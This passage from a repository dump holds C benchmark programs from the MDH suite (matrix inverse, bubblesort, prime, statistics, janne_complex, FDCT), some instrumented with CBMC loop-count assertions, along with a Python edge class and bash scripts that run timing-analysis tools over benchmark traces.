#endif\r\n\r\n #ifdef CBMC\r\n __count_33_8 = 0;\r\n #endif\r\n for (k = 0; k < row; k++) // 33\r\n {\r\n #ifdef CBMC\r\n __count_33_8++;\r\n #endif\r\n wmax = 0.0;\r\n #ifdef CBMC\r\n __count_12_9 = 0;\r\n #endif\r\n for (i = k; i < row; i++) // 12\r\n {\r\n #ifdef CBMC\r\n __count_12_9++;\r\n #endif\r\n w = fabs (a[i][k]);\r\n if (w > wmax)\r\n {\r\n #ifdef CBMC\r\n __count_9_10++;\r\n #endif\r\n wmax = w;\r\n r = i;\r\n }\r\n #ifdef CBMC\r\n else __count_9_11++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n assert(__count_12_9 <= 6); // Loop counter property\r\n #endif\r\n pivot = a[r][k];\r\n api = fabs (pivot);\r\n\r\n if (api <= eps) // 13 \r\n {\r\n // 44\r\n #ifdef CBMC\r\n __count_13_44++;\r\n __count_45++;\r\n #endif\r\n return;\r\n }\r\n\r\n w1 *= pivot;\r\n u = k * col;\r\n v = r * col;\r\n\r\n if (r != k) // 14\r\n {\r\n w1 = -w;\r\n iw = work[k];\r\n work[k] = work[r];\r\n work[r] = iw;\r\n #ifdef CBMC\r\n __count_17_16_L = 0;\r\n #endif\r\n for (j = 0; j < row; j++) // 17\r\n {\r\n #ifdef CBMC\r\n __count_17_16_L++;\r\n __count_17_16++;\r\n #endif\r\n s = u + j;\r\n t = v + j;\r\n w = a[k][j];\r\n a[k][j] = a[r][j];\r\n a[r][j] = w;\r\n }\r\n #ifdef CBMC\r\n assert(__count_17_16_L <= 6); // Loop counter property\r\n __count_17_18++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n else __count_14_18++;\r\n #endif\r\n\r\n #ifdef CBMC\r\n __count_20_19_L = 0;\r\n #endif\r\n for (i = 0; i < row; i++) // 20\r\n {\r\n #ifdef CBMC\r\n __count_20_19_L++;\r\n __count_20_19++;\r\n #endif\r\n a[k][i] /= pivot;\r\n }\r\n #ifdef CBMC\r\n assert(__count_20_19_L <= 6); // Loop counter property\r\n #endif\r\n\r\n #ifdef CBMC\r\n __count_31_22 = 0;\r\n #endif\r\n for (i = 0; i < row; i++) // 31\r\n {\r\n #ifdef CBMC\r\n __count_31_22++;\r\n #endif\r\n if (i != k) // 22\r\n {\r\n v = i * col;\r\n s = v + k;\r\n w = a[i][k];\r\n if (w != 0.0) // 23\r\n {\r\n #ifdef CBMC\r\n __count_28_25 = 0;\r\n #endif\r\n for (j = 0; j < row; j++) // 28\r\n {\r\n #ifdef CBMC\r\n __count_28_25++;\r\n #endif\r\n if (j != k) // 25\r\n {\r\n #ifdef CBMC\r\n __count_25_26++;\r\n #endif\r\n a[i][j] -= w * a[k][j];\r\n }\r\n #ifdef CBMC\r\n else __count_25_27++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n assert(__count_28_25 <= 6); // Loop counter property\r\n __count_28_29++;\r\n #endif\r\n a[i][k] = -w / pivot;\r\n }\r\n #ifdef CBMC\r\n else __count_23_30++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n else __count_22_30++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n assert(__count_31_22 <= 6); // Loop counter property\r\n #endif\r\n a[k][k] = 1.0 / pivot;\r\n }\r\n #ifdef CBMC\r\n assert(__count_33_8 <= 6); // Loop counter property\r\n __count_33_34++;\r\n #endif\r\n\r\n #ifdef CBMC\r\n __count_41_35 = 0;\r\n #endif\r\n for (i = 0; i < row; i++) // 41\r\n {\r\n #ifdef CBMC\r\n __count_41_35++;\r\n #endif\r\n #ifdef CBMC\r\n __count_35_36 = 0;\r\n #endif\r\n while (1) // 35\r\n {\r\n #ifdef CBMC\r\n __count_35_36++;\r\n #endif\r\n k = work[i];\r\n\r\n if (k == i)\r\n {\r\n break;\r\n }\r\n\r\n iw = work[k];\r\n work[k] = work[i];\r\n work[i] = iw;\r\n #ifdef CBMC\r\n __count_38_37_L = 0;\r\n #endif\r\n for (j = 0; j < row; j++) // 38\r\n {\r\n #ifdef CBMC\r\n __count_38_37_L++;\r\n __count_38_37++;\r\n #endif\r\n u = j * col;\r\n s = u + i;\r\n t = u + k;\r\n w = a[k][i];\r\n a[k][i] = a[k][k];\r\n a[k][k] = w;\r\n }\r\n #ifdef CBMC\r\n assert(__count_38_37_L <= 6); // Loop counter property\r\n __count_38_39++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n assert(__count_35_36 <= 5); // Loop counter property\r\n __count_35_40++;\r\n #endif\r\n }\r\n #ifdef CBMC\r\n assert(__count_41_35 <= 6); // Loop counter property\r\n __count_45++;\r\n #endif\r\n\r\n#ifdef CBMC\r\n\r\n\r\nassert(__count_13_44 == 0); // Dead code\r\nassert(__count_35_40 >= 5); // Lower capacity constraint\r\nassert(__count_35_40 <= 5); // Upper capacity constraint\r\nassert(__count_14_18 >= 1); // Lower capacity constraint\r\nassert(__count_14_18 <= 4); // Upper capacity constraint\r\nassert(__count_38_37 >= 5); // Lower capacity constraint\r\nassert(__count_38_37 <= 20); // Upper capacity constraint\r\nassert(__count_38_39 >= 1); // Lower capacity constraint\r\nassert(__count_38_39 <= 4); // Upper capacity constraint\r\nassert(__count_17_16 >= 5); // Lower capacity constraint\r\nassert(__count_17_16 <= 20); // Upper capacity constraint\r\nassert(__count_17_18 >= 1); // Lower capacity constraint\r\nassert(__count_17_18 <= 4); // Upper capacity constraint\r\nassert(__count_23_30 == 0); // Dead code\r\nassert(__count_20_19 >= 25); // Lower capacity constraint\r\nassert(__count_20_19 <= 25); // Upper capacity constraint\r\nassert(__count_45 >= 1); // Lower capacity constraint\r\nassert(__count_45 <= 1); // Upper capacity constraint\r\nassert(__count_22_30 >= 5); // Lower capacity constraint\r\nassert(__count_22_30 <= 5); // Upper capacity constraint\r\nassert(__count_1_43 == 0); // Dead code\r\nassert(__count_2_43 == 0); // Dead code\r\nassert(__count_3_43 == 0); // Dead code\r\nassert(__count_25_27 >= 20); // Lower capacity constraint\r\nassert(__count_25_27 <= 20); // Upper capacity constraint\r\nassert(__count_25_26 >= 80); // Lower capacity constraint\r\nassert(__count_25_26 <= 80); // Upper capacity constraint\r\nassert(__count_6_5 >= 5); // Lower capacity constraint\r\nassert(__count_6_5 <= 5); // Upper capacity constraint\r\nassert(__count_28_29 >= 20); // Lower capacity constraint\r\nassert(__count_28_29 <= 20); // Upper capacity constraint\r\nassert(__count_9_10 >= 6); // Lower capacity constraint\r\nassert(__count_9_10 <= 13); // Upper capacity constraint\r\nassert(__count_9_11 >= 2); // Lower capacity constraint\r\nassert(__count_9_11 <= 9); // Upper capacity constraint\r\nassert(__count_33_34 >= 1); // Lower capacity constraint\r\nassert(__count_33_34 <= 1); // Upper capacity constraint\r\n#endif\r\n}\r\n\r\nint\r\nmain (int argc, char **argv)\r\n{\r\n int i;\r\n int j;\r\n int k;\r\n double a[UPPERLIMIT][UPPERLIMIT];\r\n double eps = 1.0e-6;\r\n\r\n /*\r\n * Need UPPERLIMIT*UPPERLIMIT values to fill up the matrix.\r\n */\r\n if (argc != UPPERLIMIT*UPPERLIMIT+1)\r\n {\r\n return 1;\r\n }\r\n\r\n k = 0;\r\n for (i = 0; i < UPPERLIMIT; ++i)\r\n {\r\n for (j = 0; j < UPPERLIMIT; ++j)\r\n {\r\n a[i][j] = atoi (argv[k + 1]);\r\n k++;\r\n }\r\n }\r\n\r\n int val = matrix_inverse (a, UPPERLIMIT, UPPERLIMIT, eps);\r\n \r\n printf(\"%d\", val);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.5568383932113647, "alphanum_fraction": 0.5577264428138733, "avg_line_length": 27.049999237060547, "blob_id": "a5bc7de5459c309ec27d826886d07589244001b7", "content_id": "239ac07ce7fe374a403588c36d18ec22d3eaa2f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1126, "license_type": "no_license", "max_line_length": 80, "num_lines": 40, "path": "/GPUTimingAnalysis/src/Edges.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "class Edge (): \n dummyEdgeID = -1\n \n def __init__ (self, vertexID, edgeID=None): \n self._vertexID = vertexID\n if edgeID is None:\n self.__edgeID = Edge.dummyEdgeID\n else:\n self.__edgeID = edgeID\n \n def getVertexID (self):\n return self._vertexID\n \n def setEdgeID (self, edgeID):\n self.__edgeID = edgeID\n \n def getEdgeID (self):\n assert self.__edgeID != Edge.dummyEdgeID, \"The edge ID has not been set\"\n return self.__edgeID\n \nclass IPGEdge (Edge):\n def __init__ (self, vertexID, edgeID=None):\n Edge.__init__(self, vertexID, edgeID)\n self.__edgeLabel = set()\n self.__iterationEdge = False\n \n def addToEdgeLabel (self, vertices):\n self.__edgeLabel.update(set(vertices))\n \n def getEdgeLabelSize (self):\n return len(self.__edgeLabel)\n \n def getEdgeLabel (self):\n return self.__edgeLabel\n \n def setIterationEdge (self):\n self.__iterationEdge = True\n \n def isIterationEdge (self):\n return self.__iterationEdge\n " }, { "alpha_fraction": 0.5105158090591431, "alphanum_fraction": 0.5725038647651672, "avg_line_length": 23.026596069335938, "blob_id": "41946386d762ef84aa226674c18763a7a8700200", "content_id": "09157cc067f0a1e02004a8399a71b4d10370b0e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4517, "license_type": "no_license", "max_line_length": 75, "num_lines": 188, "path": "/DaikonPathInformation/benchmarks/bubblesort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Bubble sort taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\n/*\n * Swaps the values if the value pointed to by a is greater than the\n * value pointed to by b and returns 1 if a swap is performed, 0 otherwise\n */\nint\nswapIfLarger (int *a, int *b)\n{\n #ifdef CBMC\n//==========> swapiflarger : header 14\nint __count_17 = 0;\nint __count_14_15 = 0;\nint __count_16_17 = 0;\n #endif\n\n int tmp;\n if (*a > *b)\n {\t\n #ifdef CBMC\n __count_14_15++;\n #endif\n tmp = *a;\n *a = *b;\n *b = tmp;\n #ifdef CBMC\n __count_17++;\n #endif\n\n#ifdef CBMC\nassert(__count_16_17 <= 1); // Upper capacity constraint\nassert(__count_14_15 <= 1); // Upper capacity constraint\nassert(__count_17 >= 1); // Lower capacity constraint\nassert(__count_17 <= 1); // Upper capacity constraint\nassert(__count_16_17 > 0 ==> __count_17 > 0); // Execution dependence\nassert(__count_14_15 > 0 ==> __count_17 > 0); // Execution dependence\n#endif\n\n return 1;\n }\n #ifdef CBMC\n else __count_16_17++;\n #endif\n\n #ifdef CBMC\n __count_17++;\n #endif\n\n#ifdef CBMC\nassert(__count_16_17 <= 1); // Upper capacity constraint\nassert(__count_14_15 <= 1); // Upper capacity constraint\nassert(__count_17 >= 1); // Lower capacity constraint\nassert(__count_17 <= 1); // Upper capacity constraint\nassert(__count_16_17 > 0 ==> __count_17 > 0); // Execution dependence\nassert(__count_14_15 > 0 ==> __count_17 > 0); // Execution dependence\n#endif\n\n return 0;\n}\n\nvoid\nbubblesort (int ARRAY_SIZE, int a[])\n{\n\n #ifdef CBMC\n//==========> bubblesort : header 7\nint __count_4_6 = 0;\nint __count_5_6 = 0;\nint __count_7_3 = 0; //Loop counter\n//==========> bubblesort : header 10\nint __count_7_8 = 0;\nint __count_10_2 = 0; //Loop counter\n//==========> bubblesort : header 1\nint __count_13 = 0;\nint __count_8_12 = 0;\nint __count_10_11 = 0;\n #endif\n\n int i, j, tmp;\n int swapped = 0;\n // header 10\n for (i = 0;\n i < ARRAY_SIZE - 1;\n i++)\n {\n #ifdef CBMC\n __count_10_2++;\n __count_7_3 = 0;\n #endif\n swapped = 0;\n // header 7\n for (j = 0; \n j < ARRAY_SIZE - 1 - i; \n j++)\n {\n #ifdef CBMC\n __count_7_3++;\n #endif\n if (swapIfLarger(&a[j], &a[j+1]))\n { \n #ifdef CBMC\n __count_5_6++;\n #endif\n swapped = 1;\n }\n #ifdef CBMC\n else __count_4_6++;\n #endif\n }\n #ifdef CBMC\n //assert(__count_7_3 <= 10); // Loop counter property\n\n // asserts for header 7\n \n __count_7_8++;\n #endif\n if (swapped == 0)\n {\n #ifdef CBMC\n __count_8_12++;\n #endif\n break;\n }\n }\n #ifdef CBMC\n assert(__count_10_2 <= 10); // Loop counter property\n __count_10_11++;\n __count_13++;\n #endif\n\n#ifdef CBMC\nassert(__count_13 >= 1); // Lower capacity constraint\nassert(__count_13 <= 1); // Upper capacity constraint\n//assert(__count_4_6 >= 3); // Lower capacity constraint\nassert(__count_4_6 <= 24); // Upper capacity constraint\n//assert(__count_5_6 >= 12); // Lower capacity constraint\nassert(__count_5_6 <= 42); // Upper capacity constraint\n//assert(__count_7_8 >= 5); // Lower capacity constraint\nassert(__count_7_8 <= 9); // Upper capacity constraint\nassert(__count_8_12 <= 1); // Upper capacity constraint\nassert(__count_10_11 <= 1); // Upper capacity constraint\nassert(__count_8_12 > 0 ==> __count_13 > 0); // Execution dependence\nassert(__count_8_12 > 0 ==> __count_4_6 > 0); // Execution dependence\n//assert(__count_8_12 > 0 ==> __count_5_6 > 0); // Execution dependence\nassert(__count_8_12 > 0 ==> __count_7_8 > 0); // Execution dependence\nassert(__count_10_11 > 0 ==> __count_13 > 0); // Execution dependence\n//assert(__count_10_11 > 0 ==> __count_4_6 > 0); // Execution dependence\n//assert(__count_10_11 > 0 ==> __count_5_6 > 0); // Execution dependence\n//assert(__count_10_11 > 0 ==> __count_7_8 > 0); // Execution dependence\n#endif\n\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n \n #ifdef CBMC\n __CPROVER_assume(ARRAY_SIZE >= 1 && ARRAY_SIZE <= 100);\n #endif\n\n bubblesort (ARRAY_SIZE, TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.584396481513977, "alphanum_fraction": 0.6079489588737488, "avg_line_length": 80.4800033569336, "blob_id": "fb830466c3becabe42bff799ec9d4a3d033ce51b", "content_id": "ffb8d2b37b0fa224594f154ac1a41e1c7d9e23e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2038, "license_type": "no_license", "max_line_length": 100, "num_lines": 25, "path": "/DaikonPathInformation/benchmarks/runall.bash", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#/!/bin/bash\npython ../src/ToolGem5.py adpcm m5out/adpcm.trace.*.gz\npython ../src/ToolGem5.py binary_search m5out/binary_search.trace.*.gz\npython ../src/ToolGem5.py bubblesort m5out/bubblesort.trace.*.gz\npython ../src/ToolGem5.py matrix_count m5out/matrix_count.trace.*.gz\npython ../src/ToolGem5.py compress m5out/compress.trace.*.gz\npython ../src/ToolGem5.py cover m5out/cover.trace.*.gz\npython ../src/ToolGem5.py crc m5out/crc.trace.*.gz\npython ../src/ToolGem5.py edn m5out/edn.trace.*.gz\npython ../src/ToolGem5.py fastDiscreteCosineTransform m5out/fastDiscreteCosineTransform.trace.*.gz\npython ../src/ToolGem5.py fft m5out/fft.trace.*.gz\npython ../src/ToolGem5.py finiteImpulseResponse m5out/finiteImpulseResponse.trace.*.gz\npython ../src/ToolGem5.py insertsort m5out/insertsort.trace.*.gz\npython ../src/ToolGem5.py janne_complex m5out/janne_complex.trace.*.gz\npython ../src/ToolGem5.py lcdnum m5out/lcdnum.trace.*.gz\npython ../src/ToolGem5.py LUdecomposition m5out/LUdecomposition.trace.*.gz\npython ../src/ToolGem5.py embedded m5out/embedded.trace.*.gz\npython ../src/ToolGem5.py statemate m5out/statemate.trace.*.gz\npython ../src/ToolGem5.py matrix_inverse m5out/matrix_inverse.trace.*.gz\npython ../src/ToolGem5.py matrixmultiply m5out/matrixmultiply.trace.*.gz\npython ../src/ToolGem5.py quicksort m5out/quicksort.trace.*.gz\npython ../src/ToolGem5.py quadraticroots m5out/quadraticroots.trace.*.gz\npython ../src/ToolGem5.py select m5out/select.trace.*.gz\npython ../src/ToolGem5.py squareroot m5out/squareroot.trace.*.gz\npython ../src/ToolGem5.py statistics m5out/statistics.trace.*.gz\n\n" }, { "alpha_fraction": 0.7968460321426392, "alphanum_fraction": 0.7968460321426392, "avg_line_length": 45.869564056396484, "blob_id": "b0eedc03d3092d7f0fb8f60b44eb1f30f223f5a3", "content_id": "282a915850fee4d3d0512b20f0bf8a1650fedab9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1078, "license_type": "no_license", "max_line_length": 65, "num_lines": 23, "path": "/DaikonPathInformation/benchmarks/staticAnalysis.bash", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#/!/bin/bash\npython ../src/ToolSuperBlocks.py adpcm.txt \npython ../src/ToolSuperBlocks.py binary_search.txt \npython ../src/ToolSuperBlocks.py bubblesort.txt\npython ../src/ToolSuperBlocks.py matrix_count.txt \npython ../src/ToolSuperBlocks.py compress.txt\npython ../src/ToolSuperBlocks.py cover.txt \npython ../src/ToolSuperBlocks.py crc.txt\npython ../src/ToolSuperBlocks.py edn.txt \npython ../src/ToolSuperBlocks.py fastDiscreteCosineTransform.txt \npython ../src/ToolSuperBlocks.py fft.txt \npython ../src/ToolSuperBlocks.py insertsort.txt \npython ../src/ToolSuperBlocks.py janne_complex.txt\npython ../src/ToolSuperBlocks.py lcdnum.txt \npython ../src/ToolSuperBlocks.py LUdecomposition.txt\npython ../src/ToolSuperBlocks.py matrix_inverse.txt\npython ../src/ToolSuperBlocks.py matrixmultiply.txt\npython ../src/ToolSuperBlocks.py embedded.txt \npython ../src/ToolSuperBlocks.py quicksort.txt \npython ../src/ToolSuperBlocks.py quadraticroots.txt\npython ../src/ToolSuperBlocks.py select.txt\npython ../src/ToolSuperBlocks.py squareroot.txt\npython ../src/ToolSuperBlocks.py statistics.txt\n" }, { "alpha_fraction": 0.5243179202079773, "alphanum_fraction": 0.5373665690422058, "avg_line_length": 12.789473533630371, "blob_id": "bc21c69494228f81e09fe7e29dbdc340d68f0523", "content_id": "16e9ede07eedd05ed5f40e72fafac0d3c7cd3ccc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 843, "license_type": "no_license", "max_line_length": 69, "num_lines": 57, "path": "/benchmarks/prime/prime.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Prime program taken from MDH suite and modified by Adam Betts\r\n * to consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is a single element. The program\r\n * determines if it is prime or not.\r\n */\r\n\r\nunsigned char\r\ndivides (unsigned int n, unsigned int m)\r\n{\r\n return m % n == 0;\r\n}\r\n\r\nunsigned char\r\neven (unsigned int n)\r\n{\r\n return divides (2, n);\r\n}\r\n\r\nunsigned char\r\nprime (unsigned int n)\r\n{\r\n int i;\r\n\r\n if (even (n))\r\n {\r\n return n == 2;\r\n }\r\n\r\n for (i = 3; i * i <= n; i += 2)\r\n {\r\n if (divides (i, n))\r\n {\r\n return 0;\r\n }\r\n }\r\n return n > 1;\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n unsigned char answer;\r\n\r\n /*\r\n * One integer must be supplied\r\n */\r\n if (argc != 2)\r\n {\r\n return 1;\r\n }\r\n\r\n answer = prime (atoi (argv[1]));\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.5697329640388489, "alphanum_fraction": 0.5828741192817688, "avg_line_length": 20.254716873168945, "blob_id": "9619d2496c892f717147e19cfffa8ea0f307aee4", "content_id": "7c0ea90d9041a3b9e23607ceb888eafd9f045190", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2359, "license_type": "no_license", "max_line_length": 80, "num_lines": 106, "path": "/benchmarks/st/st.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Statistics program taken from MDH suite and modified by Adam Betts to consume a\r\n * test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is a list of doubles.\r\n * There must be an even number of doubles on the command line because there are\r\n * two arrays to fill, each of the same dimension.\r\n *\r\n * Unfortunately the 'math' header file is needed for the 'sqrt' function.\r\n * To compile and link correctly do:\r\n * 'gcc -lm -o <outfile> st.c'\r\n */\r\n\r\n#include <math.h>\r\n\r\ndouble\r\nSquare (double x)\r\n{\r\n return x * x;\r\n}\r\n\r\nvoid\r\nCalc_Sum_Mean (double Array[], double * Sum, double * Mean, int ARRAY_SIZE)\r\n{\r\n int i;\r\n\r\n *Sum = 0;\r\n for (i = 0; i < ARRAY_SIZE; i++)\r\n {\r\n *Sum += Array[i];\r\n }\r\n *Mean = *Sum / ARRAY_SIZE;\r\n}\r\n\r\nvoid\r\nCalc_Var_Stddev (double Array[], double Mean, double * Var, double * Stddev,\r\n int ARRAY_SIZE)\r\n{\r\n int i;\r\n double diffs = 0.0;\r\n\r\n for (i = 0; i < ARRAY_SIZE; i++)\r\n {\r\n diffs += Square (Array[i] - Mean);\r\n }\r\n *Var = diffs / ARRAY_SIZE;\r\n *Stddev = sqrt (*Var);\r\n}\r\n\r\nvoid\r\nCalc_LinCorrCoef (double ArrayA[], double ArrayB[], double MeanA, double MeanB,\r\n int ARRAY_SIZE)\r\n{\r\n int i;\r\n double numerator = 0.0;\r\n double Aterm = 0.0;\r\n double Bterm = 0.0;\r\n double Coef;\r\n\r\n for (i = 0; i < ARRAY_SIZE; i++)\r\n {\r\n numerator += (ArrayA[i] - MeanA) * (ArrayB[i] - MeanB);\r\n Aterm += Square (ArrayA[i] - MeanA);\r\n Bterm += Square (ArrayB[i] - MeanB);\r\n }\r\n Coef = numerator / (sqrt (Aterm) * sqrt (Bterm));\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n const int ELEMENTS = argc - 1;\r\n int i;\r\n double ArrayA[ELEMENTS/2];\r\n double ArrayB[ELEMENTS/2];\r\n double SumA;\r\n double SumB;\r\n double MeanA;\r\n double MeanB;\r\n double VarA;\r\n double VarB;\r\n double StddevA;\r\n double StddevB;\r\n\r\n if (argc == 1 || ELEMENTS % 2 == 1)\r\n {\r\n return 1;\r\n }\r\n\r\n for (i = 0; i < ELEMENTS/2; i++)\r\n {\r\n ArrayA[i] = atoi (argv[i + 1]);\r\n }\r\n for (i = 0; i < ELEMENTS/2; i++)\r\n {\r\n ArrayB[i] = atoi (argv[i + 1]);\r\n }\r\n\r\n Calc_Sum_Mean (ArrayA, &SumA, &MeanA, ELEMENTS/2);\r\n Calc_Var_Stddev (ArrayA, MeanA, &VarA, &StddevA, ELEMENTS/2);\r\n Calc_Sum_Mean (ArrayB, &SumB, &MeanB, ELEMENTS/2);\r\n Calc_Var_Stddev (ArrayB, MeanB, &VarB, &StddevB, ELEMENTS/2);\r\n Calc_LinCorrCoef (ArrayA, ArrayB, MeanA, MeanB, ELEMENTS/2);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.41516709327697754, "alphanum_fraction": 0.44215938448905945, "avg_line_length": 12.875, "blob_id": "d3e8f409957f4dccd8e5231f34161ce1857b06e9", "content_id": "17a4765b7ee610160f7db30102ad47c80b965f7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 778, "license_type": "no_license", "max_line_length": 73, "num_lines": 56, "path": "/benchmarks/janne_complex/janne_complex.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Janne Complex taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, a two-element test vector is expected.\n */\n\nint\njanne_complex (int a, int b)\n{\n while (a < 30)\n {\n while (b < a)\n {\n if (b > 5)\n {\n b = b * 3;\n }\n else\n {\n b = b + 2;\n }\n if (b >= 10 && b <= 12)\n {\n a = a + 10;\n }\n else\n {\n a = a + 1;\n }\n }\n a = a + 2;\n b = b - 10;\n }\n return 1;\n}\n\nint\nmain (int argc, char *argv[])\n{\n int a, b, answer;\n\n /*\n * Two integer values must be supplied\n */\n if (argc != 3)\n {\n return 1;\n }\n\n a = atoi (argv[1]);\n b = atoi (argv[2]);\n answer = janne_complex (a, b);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.3908906877040863, "alphanum_fraction": 0.5008097290992737, "avg_line_length": 26.44444465637207, "blob_id": "9f5a496d0802ce7da23c251519087aa11ae781c8", "content_id": "e83da43667956dc65f857ecd37590bb8e0ad34b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4940, "license_type": "no_license", "max_line_length": 79, "num_lines": 180, "path": "/benchmarks/fdct/fdct.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Fast Discrete Cosine Transform (FDCT) taken from MDH suite and modified by\n * Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, the test vector is a list of 64 integers.\n */\n\n#define W1 2841 /* 2048*sqrt(2)*cos(1*pi/16) */\n#define W2 2676 /* 2048*sqrt(2)*cos(2*pi/16) */\n#define W3 2408 /* 2048*sqrt(2)*cos(3*pi/16) */\n#define W5 1609 /* 2048*sqrt(2)*cos(5*pi/16) */\n#define W6 1108 /* 2048*sqrt(2)*cos(6*pi/16) */\n#define W7 565 /* 2048*sqrt(2)*cos(7*pi/16) */\n\n#define CONST_BITS 13\n#define PASS1_BITS 2\n\nvoid\nfdct (int *blk)\n{\n const int lx = 8;\n int tmp0, tmp1, tmp2, tmp3, tmp4, tmp5, tmp6, tmp7;\n int tmp10, tmp11, tmp12, tmp13;\n int z1, z2, z3, z4, z5;\n int i;\n short int *block;\n\n int constant;\n\n block = blk;\n\n for (i = 0; i < 8; i++)\n {\n tmp0 = block[0] + block[7];\n tmp7 = block[0] - block[7];\n tmp1 = block[1] + block[6];\n tmp6 = block[1] - block[6];\n tmp2 = block[2] + block[5];\n tmp5 = block[2] - block[5];\n tmp3 = block[3] + block[4];\n tmp4 = block[3] - block[4];\n\n tmp10 = tmp0 + tmp3;\n tmp13 = tmp0 - tmp3;\n tmp11 = tmp1 + tmp2;\n tmp12 = tmp1 - tmp2;\n\n block[0] = ((tmp10 + tmp11) << PASS1_BITS);\n block[4] = ((tmp10 - tmp11) << PASS1_BITS);\n\n constant = 4433;\n z1 = (tmp12 + tmp13) * constant;\n constant = 6270;\n block[2] = (z1 + (tmp13 * constant)) >> (CONST_BITS - PASS1_BITS);\n constant = -15137;\n block[6] = (z1 + (tmp12 * constant)) >> (CONST_BITS - PASS1_BITS);\n\n z1 = tmp4 + tmp7;\n z2 = tmp5 + tmp6;\n z3 = tmp4 + tmp6;\n z4 = tmp5 + tmp7;\n constant = 9633;\n z5 = ((z3 + z4) * constant); /* sqrt(2) * c3 */\n\n constant = 2446;\n tmp4 = (tmp4 * constant); /* sqrt(2) * (-c1+c3+c5-c7) */\n constant = 16819;\n tmp5 = (tmp5 * constant); /* sqrt(2) * ( c1+c3-c5+c7) */\n constant = 25172;\n tmp6 = (tmp6 * constant); /* sqrt(2) * ( c1+c3+c5-c7) */\n constant = 12299;\n tmp7 = (tmp7 * constant); /* sqrt(2) * ( c1+c3-c5-c7) */\n constant = -7373;\n z1 = (z1 * constant); /* sqrt(2) * (c7-c3) */\n constant = -20995;\n z2 = (z2 * constant); /* sqrt(2) * (-c1-c3) */\n constant = -16069;\n z3 = (z3 * constant); /* sqrt(2) * (-c3-c5) */\n constant = -3196;\n z4 = (z4 * constant); /* sqrt(2) * (c5-c3) */\n\n z3 += z5;\n z4 += z5;\n\n block[7] = (tmp4 + z1 + z3) >> (CONST_BITS - PASS1_BITS);\n block[5] = (tmp5 + z2 + z4) >> (CONST_BITS - PASS1_BITS);\n block[3] = (tmp6 + z2 + z3) >> (CONST_BITS - PASS1_BITS);\n block[1] = (tmp7 + z1 + z4) >> (CONST_BITS - PASS1_BITS);\n\n block += lx;\n }\n\n block = blk;\n\n for (i = 0; i < 8; i++)\n {\n tmp0 = block[0] + block[7* lx ];\n tmp7 = block[0] - block[7* lx ];\n tmp1 = block[lx] + block[6* lx ];\n tmp6 = block[lx] - block[6* lx ];\n tmp2 = block[2* lx ] + block[5* lx ];\n tmp5 = block[2* lx ] - block[5* lx ];\n tmp3 = block[3* lx ] + block[4* lx ];\n tmp4 = block[3* lx ] - block[4* lx ];\n\n tmp10 = tmp0 + tmp3;\n tmp13 = tmp0 - tmp3;\n tmp11 = tmp1 + tmp2;\n tmp12 = tmp1 - tmp2;\n\n block[0] = (tmp10 + tmp11) >> (PASS1_BITS + 3);\n block[4* lx ] = (tmp10 - tmp11) >> (PASS1_BITS + 3);\n\n constant = 4433;\n z1 = ((tmp12 + tmp13) * constant);\n constant = 6270;\n block[2* lx ] = (z1 + (tmp13 * constant)) >> (CONST_BITS + PASS1_BITS + 3);\n constant = -15137;\n block[6* lx ] = (z1 + (tmp12 * constant)) >> (CONST_BITS + PASS1_BITS + 3);\n\n z1 = tmp4 + tmp7;\n z2 = tmp5 + tmp6;\n z3 = tmp4 + tmp6;\n z4 = tmp5 + tmp7;\n constant = 9633;\n z5 = ((z3 + z4) * constant); /* sqrt(2) * c3 */\n\n constant = 2446;\n tmp4 = (tmp4 * constant); /* sqrt(2) * (-c1+c3+c5-c7) */\n constant = 16819;\n tmp5 = (tmp5 * constant); /* sqrt(2) * ( c1+c3-c5+c7) */\n constant = 25172;\n tmp6 = (tmp6 * constant); /* sqrt(2) * ( c1+c3+c5-c7) */\n constant = 12299;\n 